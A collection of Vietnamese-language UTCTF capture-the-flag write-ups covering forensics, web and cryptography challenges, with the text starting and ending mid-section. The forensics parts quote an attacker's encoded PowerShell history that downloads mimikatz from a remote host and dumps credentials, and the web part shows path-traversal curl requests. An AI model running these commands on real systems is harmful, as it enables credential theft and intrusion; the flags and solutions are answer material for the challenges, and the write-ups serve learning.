powershell -nop -e dwBoAG8AYQBtAGkAIAAvAGEAbABsAA==
→ whoami /all
powershell -e dwBnAGUAdAAgAGgAdAB0...
→ wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
→ Expand-Archive mimikatz.zip
→ C:\Users\jon\Downloads\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```
Threat actor đã dùng **mimikatz** để dump credentials sau khi leo thang đặc quyền.
#### Amcache.hve — Tìm chương trình thực sự đáng ngờ
Phân tích `C:\Windows\AppCompat\Programs\Amcache.hve` (registry hive lưu lịch sử chạy chương trình) bằng `python-registry`:
```python
from Registry import Registry
reg = Registry.Registry(io.BytesIO(amcache_data))
## Navigate to Root\InventoryApplicationFile
```
Phát hiện entry **rất đáng ngờ**:
```
Name: Calc.exe
Path: c:\users\administrator\appdata\local\ithqsu\2ga2pl\calc.exe
FileId: 000067198a3ca72c49fb263f4a9749b4b79c50510155
```
Đây là một **`calc.exe` giả** nằm trong thư mục random `ithqsu\2ga2pl` — kỹ thuật phổ biến của malware để ngụy trang thành Windows Calculator.
Xác nhận thêm: trong `Recent` items của Administrator có `ithqsu.lnk` trỏ đến thư mục này.
#### SHA1 từ Amcache
`FileId` trong Amcache có tiền tố `0000` + SHA1 thực:
```
FileId: 0000 67198a3ca72c49fb263f4a9749b4b79c50510155
SHA1: 67198a3ca72c49fb263f4a9749b4b79c50510155
```
#### Mở Checkpoint B
```python
with zipfile.ZipFile('checkpointB.zip') as z:
data = z.read('Checkpoint B/B.txt', pwd=b'67198a3ca72c49fb263f4a9749b4b79c50510155')
# → m1551n6_l1nk
```
**Flag part B:** `m1551n6_l1nk`
---
### Flag
Ghép hai phần theo format `utflag{A-B}`:
```
utflag{pr1v473_3y3-m1551n6_l1nk}
```
---
### Timeline tấn công (tóm tắt)
1. Threat actor truy cập vào máy với quyền thấp
2. Escalate lên Administrator
3. Cài **`calc.exe` giả** tại `%LOCALAPPDATA%\ithqsu\2ga2pl\` (persistent malware)
4. Download và chạy **mimikatz** để dump credentials (`sekurlsa::logonpasswords`)
5. Download **VSCode** và **Velociraptor** (DFIR tool, có thể dùng làm C2 hoặc recon)
6. Xóa các file nhạy cảm (document, exe) vào Recycle Bin
7. Xóa **SuperSecretProject.docx** chứa thông tin PROJECT HOOKEM
### Artifacts sử dụng
| Artifact | Mục đích |
|----------|----------|
| `$Recycle.Bin/$I*.docx` | Metadata file đã xóa (original path) |
| `$Recycle.Bin/$R*.docx` | Content file đã xóa |
| `PSReadline/ConsoleHost_history.txt` | Lịch sử lệnh PowerShell |
| `Amcache.hve` | SHA1 và đường dẫn chương trình đã chạy |
| Windows Prefetch | Xác nhận chương trình đã thực thi |
## CRAB MENTALITY [P1c0L0]

- Khi truy cập vào web ta thấy giao diện hiển thị một nút `GET FLAG` với cơ chế:
- Click `GET FLAG` lần đầu để đăng ký yêu cầu
- Chờ đủ 5 phút mà không click thêm
- Click `GET FLAG` lần hai để nhận flag
- Nếu bất kỳ team nào khác cũng request trong cửa sổ 5 phút của bạn, cả hai yêu cầu đều bị hủy
### View source

- Mở view-source của web, ta thấy có một comment khả nghi là
`<!-- future: rollback old style of site + server code from backup files -->`
=> Gợi ý rằng server có backup files chứa source code cũ
- JavaScript endpoint: `const res = await fetch('/getFlag?f=flag.txt');`
=> Tham số `f` nhận trực tiếp tên file => dấu hiệu của Local File Inclusion
- `GET /getFlag?f=<filename>` đọc và trả về nội dung file
- `GET /status` trả về `{"has_pending": bool, "remaining": int}`
### Exploit
- Thử truy cập các file khác nhau
```java!
- thử đọc file tuyệt đối (bị chặn)
curl "http://challenge.utctf.live:5888/getFlag?f=/flag.txt"
=> 403 Forbidden (file tồn tại nhưng bị block path tuyệt đối)
- thử path traversal tương đối
curl "http://challenge.utctf.live:5888/getFlag?f=../flag.txt"
=> {"status":"waiting","wait_until":...} ← path hợp lệ, server chấp nhận
```
=> Path traversal `../flag.txt` được server chấp nhận, trả về JSON waiting thay vì 404 => xác nhận LFI tồn tại
- Dựa vào HTML comment gợi ý về backup files ta brute-force các tên file phổ biến:
```python!
for f in app.py.bak server.py.bak main.py.bak app.py~ index.py wsgi.py run.py; do
echo -n "$f: "
curl -s "http://challenge.utctf.live:5888/getFlag?f=../$f" | head -c 100
echo
done
```
- Kết quả:
```css!
app.py.bak:
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL
server.py.bak: <!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL
main.py.bak: import base64
_d = [
0x75, 0x74, 0x66, 0x6c, 0x61, 0x67, 0x7b, 0x79,
0x30, 0x75, 0x5f, 0x65
app.py~: <!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL
index.py: <!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL
wsgi.py: <!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL
run.py: <!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL
```
- Đọc backup file

- Nội dung file `main.py.bak`
```python!
import base64
_d = [
0x75, 0x74, 0x66, 0x6c, 0x61, 0x67, 0x7b, 0x79,
0x30, 0x75, 0x5f, 0x65, 0x31, 0x74, 0x68, 0x33,
0x72, 0x5f, 0x77, 0x40, 0x31, 0x74, 0x5f, 0x79,
0x72, 0x5f, 0x74, 0x75, 0x72, 0x6e, 0x5f, 0x30,
0x72, 0x5f, 0x63, 0x75, 0x74, 0x5f, 0x31, 0x6e,
0x5f, 0x6c, 0x31, 0x6e, 0x65, 0x7d
]
_k = base64.b64decode("U2VjcmV0S2V5MTIz").decode()
_x = bytes([
c ^ ord(_k[i % len(_k)])
for i, c in enumerate(_d)
]).hex()
if __name__ == "__main__":
raw = bytes(
int(_x[i:i+2], 16) ^ ord(_k[i // 2 % len(_k)])
for i in range(0, len(_x), 2)
)
print(raw.decode())
```
- Decode mảng `_d` ta lấy được flag
**FLAG: utflag{y0u_e1th3r_w@1t_yr_turn_0r_cut_1n_l1ne}**
## Fortune Teller [dvy4nhh]
### 1. Mô tả bài

Challenge sử dụng một **Bộ sinh số Giả tuyến (LCG)** để tạo số ngẫu nhiên, sau đó XOR flag với output thứ 5 làm khóa. Nhiệm vụ: từ 4 output đầu tiên, tìm output thứ 5 rồi giải mã flag.
Công thức LCG:
```
x_(n+1) = (a * x_n + c) % m
m = 4294967296 (= 2^32)
a, c = bí mật (cần tìm)
```
**Dữ liệu cho sẵn:**
| Tên | Giá trị |
|-----|---------|
| output_1 | 4176616824 |
| output_2 | 2681459949 |
| output_3 | 1541137174 |
| output_4 | 3272915523 |
| ciphertext (hex) | `3cff226828ec3f743bb820352aff1b7021b81b623cff31767ad428672ef6` |
Flag được mã hóa bằng: `flag XOR (output_5 lặp lại theo chu kỳ 4 byte)`
---
### 2. Phân tích lỗ hổng
LCG **không phải CSPRNG** — chỉ cần biết 3 giá trị liên tiếp là đủ để khôi phục hoàn toàn `a` và `c`, từ đó dự đoán mọi giá trị tương lai.
### Tìm a
Từ hai bước liên tiếp:
```
x2 = (a * x1 + c) mod m ...(1)
x3 = (a * x2 + c) mod m ...(2)
Lấy (2) - (1):
x3 - x2 = a * (x2 - x1) mod m
=> a = (x3 - x2) * modinv(x2 - x1, m) mod m
```
### Tìm c
```
c = (x2 - a * x1) mod m
```
### Dự đoán output_5
```
x5 = (a * x4 + c) mod m
```
---
### 3. Khai thác
```python
m = 2**32
x1 = 4176616824
x2 = 2681459949
x3 = 1541137174
x4 = 3272915523
# Bước 1: Tìm a bằng nghịch đảo modular
a = (x3 - x2) * pow(x2 - x1, -1, m) % m
# Bước 2: Tìm c
c = (x2 - a * x1) % m
# Bước 3: Xác minh
assert (a * x1 + c) % m == x2
assert (a * x2 + c) % m == x3
assert (a * x3 + c) % m == x4
# Bước 4: Dự đoán output_5
x5 = (a * x4 + c) % m
# Bước 5: Giải mã flag
ciphertext = bytes.fromhex(
'3cff226828ec3f743bb820352aff1b7021b81b623cff31767ad428672ef6'
)
key = x5.to_bytes(4, 'big')
flag = bytes([ciphertext[i] ^ key[i % 4] for i in range(len(ciphertext))])
print(flag.decode())
```
---
### 4. Kết quả
| Tham số | Giá trị |
|---------|---------|
| a | 3355924837 |
| c | 2915531925 |
| output_5 | 1233863684 |
| key (hex) | `498b4404` |
:::success
Flag:
utflag{pr3d1ct_th3_futur3_lcg}
:::
---
## Smooth Criminal [dvy4nhh]
### 1. Mô tả challenge

> *"Our cryptographer assured us that a 649-bit prime makes this completely unbreakable. He also said the order of the group "doesn't really matter that much." He no longer works here."*
File đính kèm cho các tham số:
```
p = 1363402168895933073124331075716158793413739602475544713040662303260999503992311247861095036060712607168809958344896622485452229880797791800555191761456659256252204001928525518751268009081850267001
g = 223
h = 1009660566883490917987475170194560289062628664411983200474597006489640893063715494610197294704009188265361176318190659133132869144519884282668828418392494875096149757008157476595873791868761173517
```
Mục tiêu: tìm `x` sao cho `h ≡ g^x (mod p)`, rồi convert x sang bytes để lấy flag.
---
### 2. Phân tích
#### 2.1. Điểm yếu: p-1 Smooth
Câu hint **"order of the group doesn't really matter that much"** chính là chìa khóa. Ta factor `p-1`:
```python
from sympy import factorint
factors = factorint(p - 1)
# p-1 = 2^3 * 3^3 * 5^3 * 7^2 * 11^3 * 13^3 * 17^3 * 19 * 23^2
# * 29^2 * 31^3 * 37^2 * ... * 191^5 * 193 * 197
```
`p-1` **hoàn toàn smooth** — chỉ gồm các thừa số nguyên tố nhỏ (tất cả ≤ 197). Đây là điều kiện để dùng **Pohlig-Hellman**.
#### 2.2. Tại sao nguy hiểm?
DLP an toàn khi nhóm có order **lớn và nguyên tố**. Khi order = p-1 smooth, ta có thể chia nhỏ bài toán thành nhiều DLP nhỏ trong các subgroup, giải từng cái rồi ghép lại bằng CRT — cực kỳ nhanh.
---
### 3. Tấn công: Pohlig-Hellman
#### Nguyên lý
1. Factor `order = p-1 = q1^e1 * q2^e2 * ... * qk^ek`
2. Với mỗi `qi^ei`, chiếu bài toán vào subgroup nhỏ → giải DLP nhỏ bằng Baby-Step Giant-Step
3. Dùng **CRT** kết hợp các nghiệm → ra `x`
### Full Exploit
```python
from sympy import factorint
p = 1363402168895933073124331075716158793413739602475544713040662303260999503992311247861095036060712607168809958344896622485452229880797791800555191761456659256252204001928525518751268009081850267001
g = 223
h = 1009660566883490917987475170194560289062628664411983200474597006489640893063715494610197294704009188265361176318190659133132869144519884282668828418392494875096149757008157476595873791868761173517
def baby_step_giant_step(g, h, p, n):
m = int(n**0.5) + 1
table = {}
baby = 1
for j in range(m):
table[baby] = j
baby = baby * g % p
giant_step = pow(g, m * (p-2), p)
gamma = h
for i in range(m):
if gamma in table:
return i * m + table[gamma]
gamma = gamma * giant_step % p
return None
def pohlig_hellman(g, h, p, order, factors):
remainders, moduli = [], []
for q, e in factors.items():
q_e = q**e
g_i = pow(g, order // q_e, p)
h_i = pow(h, order // q_e, p)
x_i = 0
gamma = pow(g_i, q**(e-1), p)
for k in range(e):
h_k = pow(h_i * pow(g_i, (-x_i) % q_e, p) % p, q**(e-1-k), p)
d_k = baby_step_giant_step(gamma, h_k, p, q)
x_i = (x_i + d_k * q**k) % q_e
remainders.append(x_i)
moduli.append(q_e)
return remainders, moduli
def crt(remainders, moduli):
M = 1
for m in moduli: M *= m
x = 0
for r, m in zip(remainders, moduli):
Mi = M // m
yi = pow(Mi, -1, m)
x += r * Mi * yi
return x % M
order = p - 1
factors = factorint(order)
remainders, moduli = pohlig_hellman(g, h, p, order, factors)
x = crt(remainders, moduli)
assert pow(g, x, p) == h
flag = x.to_bytes((x.bit_length() + 7) // 8, 'big').decode()
print(flag)
```
---
### 4. Kết quả
```
x = 810642462826781236630409314742801724164468986543937060322593530182136957
```
:::success
Flag:
utflag{sm00th_cr1m1nal_caught}
:::
---
## Half Awake [dvy4nhh]

> Our SOC captured suspicious traffic from a lab VM right before dawn. Most packets look like ordinary client chatter, but a few are pretending to be something they are not.
---
### Tổng quan
Bài cho file `half-awake.pcap` (~3.6 KB). Nhìn sơ thấy toàn TCP chatter bình thường, nhưng đề bài hint rõ "a few are pretending to be something they are not" — tức có gói giả dạng protocol khác để giấu dữ liệu.
---
### Phân tích
#### Bước 1 — Đọc raw hex, tìm HTTP request
```bash
od -A x -t x1z half-awake.pcap
```
Phát hiện HTTP request:
```
GET /instructions.hello HTTP/1.1
Host: awake.utctf.local
User-Agent: half-awake-client/1.0
Accept-Encoding: gzip, xor
```
Header `Accept-Encoding: gzip, xor` — `xor` không phải encoding chuẩn → gợi ý dữ liệu được mã hoá XOR.
---
#### Bước 2 — HTTP Response chứa instructions
Server trả về:
```
Read this slowly:
1) mDNS names are hints: alert.chunk, chef.decode, key.version
2) Not every 'TCP blob' is really what it pretends to be
3) If you find a payload that starts with PK, treat it as a file
```
---
#### Bước 3 — mDNS TXT record chứa XOR key
Trong pcap có 3 mDNS query: `alert.chunk.local`, `chef.decode.local`, `key.version.local`.
DNS TXT response cho `key.version.local`:
```
00b7
```
→ Đây là XOR key 2 byte: `[0x00, 0xb7]`
---
#### Bước 4 — Extract ZIP ẩn trong TCP payload giả TLS
Một số TCP blob bắt đầu bằng `16 03 03` (TLS record header), nhưng thực ra bên trong là ZIP. Tìm magic bytes `PK\x03\x04` trong raw pcap:
```python
with open('half-awake.pcap', 'rb') as f:
data = f.read()
pk_offset = data.find(b'PK\x03\x04')
pk_end = data.find(b'PK\x05\x06', pk_offset)
zip_data = data[pk_offset : pk_end + 22] # EOCD = 22 bytes
with open('extracted.zip', 'wb') as f:
f.write(zip_data)
```
Giải nén ra 2 file:
- `stage2.bin` — 41 bytes dữ liệu mã hoá
- `readme.txt` — *"not everything here is encrypted the same way"*
---
#### Bước 5 — XOR decode stage2.bin
`stage2.bin` (hex):
```
75 c3 66 db 61 d0 7b df 34 db 66 e8 61 c0 34 dc
33 e8 73 84 33 e8 74 df 33 e8 70 c5 30 c3 30 d4
30 db 5f c3 72 86 63 dc 7d
```
XOR với key 2-byte `[0x00, 0xb7]` theo chu kỳ:
```python
stage2 = open('stage2.bin', 'rb').read()
key = [0x00, 0xb7]
result = bytes([b ^ key[i % 2] for i, b in enumerate(stage2)])
print(result.decode())
```
Output:
```
utflag{h4lf_aw4k3_s33_th3_pr0t0c0l_tr1ck}
```
---
### Flag
:::success
Flag:
utflag{h4lf_aw4k3_s33_th3_pr0t0c0l_tr1ck}
:::
---
## Cold Workspace [dvy4nhh]

> A workstation in the design lab crashed during an overnight maintenance window. By morning, a critical desktop artifact was gone and the user swore they never touched it. You only have a memory snapshot from shortly before reboot. Recover what was lost.
3 file đính kèm: `cold-workspace.dmp`, `cold-workspace__1_.dmp`, `cold-workspace__2_.dmp`
---
### Phân tích ban đầu
Kiểm tra 3 file:
```bash
md5sum cold-workspace*.dmp
```
```
de064d4a92d28effe428b2012e391109 cold-workspace.dmp
de064d4a92d28effe428b2012e391109 cold-workspace__1_.dmp
de064d4a92d28effe428b2012e391109 cold-workspace__2_.dmp
```
Cả 3 file **giống nhau hoàn toàn** — chỉ có 1 file thực sự.
Nhìn vào header:
```
000000 50 41 47 45 44 55 36 34 PAGEDU64
000020 43 6f 6c 64 57 6f 72 6b ColdWork
000028 73 70 61 63 65 53 79 6e spaceSyn
000030 74 68 65 74 69 63 44 75 theticDu
000038 6d 70 00 mp.
```
Magic bytes: `PAGEDU64`, tên nội bộ: `ColdWorkspaceSyntheticDump`. Thử Volatility:
```
Unsatisfied requirement plugins.Info.kernel.layer_name
A translation layer requirement was not fulfilled.
```
Đây là **định dạng tùy chỉnh** — không phải Windows crash dump thật. Dữ liệu được nhúng thẳng dưới dạng text ASCII bên trong binary.
---
### Trích xuất strings
```python
import re
with open('cold-workspace.dmp', 'rb') as f:
data = f.read()
strings = re.findall(b'[ -~\t\n\r]{10,}', data)
for s in strings:
print(repr(s.decode('ascii', errors='replace')))
```
Kết quả quan trọng:
**Process tree:**
```
Process Tree Snapshot
System(4)
smss.exe(332)
csrss.exe(516)
wininit.exe(620)
services.exe(688)
lsass.exe(744)
explorer.exe(4028)
notepad.exe(5120)
WINWORD.EXE(5304)
powershell.exe(4608)
```
**Command lines:**
```
cmdline(4608): powershell.exe -ExecutionPolicy Bypass -File C:\Users\analyst\Desktop\encrypt_flag.ps1
cmdline(5120): notepad.exe C:\Users\analyst\Desktop\note.txt
cmdline(5304): WINWORD.EXE C:\Users\analyst\Desktop\maintenance.docx
```
**MFT entries:**
```
MFT: C:\Users\analyst\Desktop\note.txt
MFT: C:\Users\analyst\Desktop\maintenance.docx
MFT: C:\Users\analyst\Desktop\flag.enc
MFT: C:\Users\analyst\Desktop\team_photo.jpg
```
---
### Phân tích PowerShell script
Trong memory còn fragment của `encrypt_flag.ps1`:
```powershell
$bytes = [System.IO.File]::ReadAllBytes('C:\Users\analyst\Desktop\flag.jpg')
$key = [byte[]](0..31)
$iv = [byte[]](0..15)
# actual key/iv allocated at runtime, serialized to env vars
$env:ENCD = '<ciphertext b64>'
$env:ENCK = '<key b64>'
$env:ENCV = '<iv b64>'
Remove-Item C:\Users\analyst\Desktop\flag.jpg
```
Script mã hóa `flag.jpg` bằng **AES-256-CBC**, lưu key/IV vào environment variables của process, rồi xóa file gốc. Đây chính là artifact "đã biến mất".
Key insight: **environment variables sống trong memory của process** — dù file gốc bị xóa, key vẫn còn trong dump.
---
### Thu hồi key từ ENV block
Tiếp tục đọc strings, tìm thấy ENV_BLOCK của PID 4608 (powershell.exe):
```
ENV_BLOCK_START::PID=4608::powershell.exe::
ENCD=S4wX8ml7/f9C2ffc8vENqtWw8Bko1RAhCwLLG4vvjeT2iJ26nfeMzWEyx/HlK1KmOhIrSMoWtmgu2OKMtTtUXddZDQ87FTEXIqghzCL6ErnC1+GwpSfzCDr9woKXj5IzcU2C/Ft5u705bY3b6/Z/Q/N6MPLXV55pLzIDnO1nvtja123WWwH54O4mnyWNspt5
ENCK=Ddf4BCsshqFHJxXPr5X6MLPOGtITAmXK3drAqeZoFBU=
ENCV=xXpGwuoqihg/QHFTM2yMxA==
SESSION=Console
USERDOMAIN=WORKGROUP
ENV_BLOCK_END
```
Decode base64:
- `ENCK` → 32 bytes → **AES-256 key**
- `ENCV` → 16 bytes → **CBC IV**
- `ENCD` → 144 bytes → **ciphertext**
---
### Giải mã
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
ENCD = 'S4wX8ml7/f9C2ffc8vENqtWw8Bko1RAhCwLLG4vvjeT2iJ26nfeMzWEyx/HlK1KmOhIrSMoWtmgu2OKMtTtUXddZDQ87FTEXIqghzCL6ErnC1+GwpSfzCDr9woKXj5IzcU2C/Ft5u705bY3b6/Z/Q/N6MPLXV55pLzIDnO1nvtja123WWwH54O4mnyWNspt5'
ENCK = 'Ddf4BCsshqFHJxXPr5X6MLPOGtITAmXK3drAqeZoFBU='
ENCV = 'xXpGwuoqihg/QHFTM2yMxA=='
key = base64.b64decode(ENCK)
iv = base64.b64decode(ENCV)
ciphertext = base64.b64decode(ENCD)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(decrypted)
```
Output:
```
b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01...
Recovered desktop image bytes...
FLAG:utflag{m3m0ry_r3t41ns_wh4t_d1sk_l053s}
Generated by Cold Workspace challenge.
...\xff\xd9'
```
---
### Flag
:::success
Flag:
utflag{m3m0ry_r3t41ns_wh4t_d1sk_l053s}
:::
---
## Last Byte Standing [dvy4nhh]

> *A midnight network capture from a remote office was marked "routine" and archived without review. Hours later, incident response flagged it for one subtle anomaly that nobody could explain. Find what was missed and recover the flag.*
---
### Phân tích
#### Bước 1: Tổng quan file pcap
```bash
tshark -r last-byte-standing.pcap -q -z io,phs
```
```
eth frames:1500 bytes:126165
ip frames:1370 bytes:120705
udp frames:890 bytes:84282
dns frames:880 bytes:83446
data frames:10 bytes:836
tcp frames:480 bytes:36423
http frames:104 bytes:14551
tls frames:56 bytes:4592
arp frames:130 bytes:5460
```
1500 gói tin, gồm DNS, HTTP, TLS, ARP — trông rất bình thường.
---
#### Bước 2: Kiểm tra từng loại traffic
**DNS:** Các domain như `sync-cache.nexthop-lab.net`, `auth.internal-gw.local`... không có gì nổi bật.
**HTTP:** Toàn bộ request đều là `GET /asset/N.js`, response đều trả về `console.log('ok');` — giống nhau hoàn toàn.
**UDP data (10 gói lạ):**
```bash
tshark -r last-byte-standing.pcap -Y "udp and not dns" -T fields -e data
```
Decode hex ra:
```
event=1490;status=ok;service=edge-proxy-11
event=1491;status=ok;service=edge-proxy-12
...
```
Trông như telemetry bình thường. Không có flag ở đây.
---
#### Bước 3: Nhận ra điểm mấu chốt
Tên challenge **"Last Byte Standing"** là hint trực tiếp: dữ liệu được giấu trong **byte cuối của mỗi gói tin**.
Đây là kỹ thuật network steganography — rất khó phát hiện vì không làm thay đổi nội dung payload, nằm ở cuối data field mà IDS/firewall thường bỏ qua.
---
#### Bước 4: Khai thác
Parse pcap thủ công, trích byte cuối mỗi gói:
```python
import struct
with open('last-byte-standing.pcap', 'rb') as f:
f.read(24) # skip global header
last_bytes = []
while True:
hdr = f.read(16)
if len(hdr) < 16: break
_, _, incl_len, _ = struct.unpack('<IIII', hdr)
data = f.read(incl_len)
if data:
last_bytes.append(data[-1])
# Tất cả byte cuối chỉ là 0x30 ('0') hoặc 0x31 ('1') — binary ASCII!
bits = [b - 0x30 for b in last_bytes if b in (0x30, 0x31)]
# Ghép 8 bit thành 1 ký tự
chars = []
for i in range(0, len(bits) - 7, 8):
byte_val = int(''.join(str(b) for b in bits[i:i+8]), 2)
if 32 <= byte_val < 127:
chars.append(chr(byte_val))
print(''.join(chars))
```
Byte cuối của mỗi packet là `0x30` hoặc `0x31` — tức ký tự ASCII `'0'` và `'1'`. Ghép lại thành chuỗi bit nhị phân, decode 8 bit một lần ra ASCII.
---
### Flag
:::success
Flag:
utflag{d1g_t0_th3_l4st_byt3}
:::
---
## Silent Archive [dvy4nhh]

> Incident response recovered a damaged archive from an isolated workstation. The bundle split into two branches during transfer: one looks like duplicate camera captures, and the other is an absurdly deep archive chain. Follow both trails, reconstruct the hidden message, and recover the token.
---
### Phân tích
Giải nén `freem4.zip` thu được 3 file:
- `File1.tar` — chứa 2 ảnh camera
- `File2.tar` — chứa archive chain sâu
- `README.txt` — ghi chú về 2 nhánh
---
### Branch 1 — Duplicate Camera Images
Giải nén `File1.tar` ra 2 file ảnh có cùng kích thước (118895 bytes, 1280x720): `cam_300.jpg` và `cam_301.jpg`. Hai ảnh trông giống nhau nhưng MD5 khác nhau — dấu hiệu có dữ liệu ẩn.
Dùng `strings` để kiểm tra phần cuối mỗi ảnh:
```bash
strings cam_300.jpg | tail -20
strings cam_301.jpg | tail -20
```
Mỗi ảnh chứa một block telemetry ẩn ở cuối JPEG với trường `AUTH_FRAGMENT_B64` khác nhau:
```
# cam_300.jpg
AUTH_FRAGMENT_B64:QWx3YXlzX2NoZWNrX2JvdGhfaW1hZ2Vz
# cam_301.jpg
AUTH_FRAGMENT_B64:MHI0bmczX0FyQ2gxdjNfVDRiU3A0Y2Uh
```
Decode base64:
```bash
echo "QWx3YXlzX2NoZWNrX2JvdGhfaW1hZ2Vz" | base64 -d
# => Always_check_both_images
echo "MHI0bmczX0FyQ2gxdjNfVDRiU3A0Y2Uh" | base64 -d
# => 0r4ng3_ArCh1v3_T4bSp4ce!
```
Fragment thứ hai là **password** để dùng ở bước tiếp theo: `0r4ng3_ArCh1v3_T4bSp4ce!`
---
### Branch 2 — Deep Archive Chain
`File2.tar` chứa `999.tar` — một chuỗi archive lồng nhau sâu 999 cấp. Script tự động giải nén từng cấp:
```bash
current="999.tar"
for i in $(seq 1 999); do
inner=$(tar -tf "$current" | head -1)
tar -xf "$current"
rm -f "$current"
current="$inner"
if ! file "$current" | grep -q "tar"; then
break
fi
done
```
Sau 999 lần extract, thu được file cuối `Noo.txt` — thực chất là một ZIP có password:
```bash
file Noo.txt
# => Noo.txt: Zip archive data, at least v2.0 to extract
```
Dùng password từ Branch 1:
```bash
unzip -P "0r4ng3_ArCh1v3_T4bSp4ce!" Noo.txt -d extracted/
```
Bên trong có `NotaFlag.txt` chứa toàn dấu cách và tab — đây là **Whitespace Steganography**.
---
### Giải mã Whitespace Steganography
Mỗi dòng trong `NotaFlag.txt` encode một ký tự ASCII:
- `Space (0x20)` = bit `0`
- `Tab (0x09)` = bit `1`
- Mỗi dòng có 1 dấu cách đầu tiên làm padding, các ký tự còn lại là 7 bit nhị phân
Script Python decode:
```python
with open("NotaFlag.txt", "rb") as f:
lines = f.read().split(b"\n")
result = []
for line in lines:
if not line:
continue
if line.startswith(b" "):
line = line[1:] # strip leading space
bits = "".join("1" if b == ord("\t") else "0" for b in line)
if bits:
result.append(chr(int(bits, 2)))
print("".join(result))
```
Output:
```
utflag{d1ff_th3_tw1ns_unt4r_th3_st0rm_r34d_th3_wh1t3sp4c3}
```
---
### Flag
:::success
Flag:
utflag{d1ff_th3_tw1ns_unt4r_th3_st0rm_r34d_th3_wh1t3sp4c3}
:::
---
## Landfall [dvy4nhh]

> You are a DFIR investigator in charge of collecting and analyzing information from a recent breach at UTCTF LLC. The higher ups have sent us a triage of the incident. Can you read the briefing and solve your part of the case?
**Briefing:** Triage được thu thập từ desktop bị xâm nhập. Threat actor đã đăng nhập vật lý vào máy (insider threat). Nhiệm vụ là tìm command mà threat actor đã dùng để lấy credentials phục vụ leo thang đặc quyền (privilege escalation).
**Hint:** Password của `checkpointA.zip` là **MD5 hash của PHẦN ENCODED** trong command tìm được.
**Files cung cấp:**
- `briefing.txt` — mô tả kịch bản
- `how-to-solve.txt` — hướng dẫn lấy flag qua checkpointA.zip
- `checkpointA.zip` — zip có password chứa `flag.txt`
- `Modified_KAPE_Triage_Files.zip` — KAPE triage của máy bị xâm nhập
---
### Giải
#### Bước 1 — Giải nén và khám phá KAPE triage
KAPE (Kroll Artifact Parser and Extractor) thu thập các forensic artifact từ Windows. Sau khi giải nén triage, thấy có 3 user profile trên máy bị xâm nhập: `Administrator`, `jon`, `robb`.
Artifact quan trọng nhất cần kiểm tra đầu tiên là **PowerShell command history**, lưu tại:
```
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```
Chạy lệnh sau để tìm tất cả file history trong triage:
```powershell
$triage = ".\triage\Modified_KAPE_Triage_Files"
Get-ChildItem -Path $triage -Recurse -Filter "ConsoleHost_history.txt" |
ForEach-Object { Write-Host $_.FullName; Get-Content $_.FullName }
```
---
#### Bước 2 — Phân tích PowerShell history của user `jon`
File history của user `jon` chứa loạt lệnh đáng ngờ dùng flag `-e` (EncodedCommand):
```
powershell -nop -e dwBoAG8AYQBtAGkAIAAvAGEAbABsAA==
powershell -nop -e YwBkACAARABvAHcAbgBsAG8AYQBkAHMA
ls
cd Downloads
powershell -e dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwAA==
powershell -e dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwACAALQBPACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA
ls
powershell -nop -e RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA
ls
powershell -nop -e QwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AXABEAG8AdwBuAGwAbwBhAGQAcwBcAG0AaQBtAGkAawBhAHQAegBcAHgANgA0AFwAbQBpAG0AaQBrAGEAdAB6AC4AZQB4AGUAIAAiAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAIgAgACIAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIgAgACIAZQB4AGkAdAAiAA==
```
PowerShell dùng **Base64 + UTF-16LE** cho EncodedCommand. Decode từng lệnh:
```python
import base64
cmds = [
"dwBoAG8AYQBtAGkAIAAvAGEAbABsAA==",
"YwBkACAARABvAHcAbgBsAG8AYQBkAHMA",
"dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwAA==",
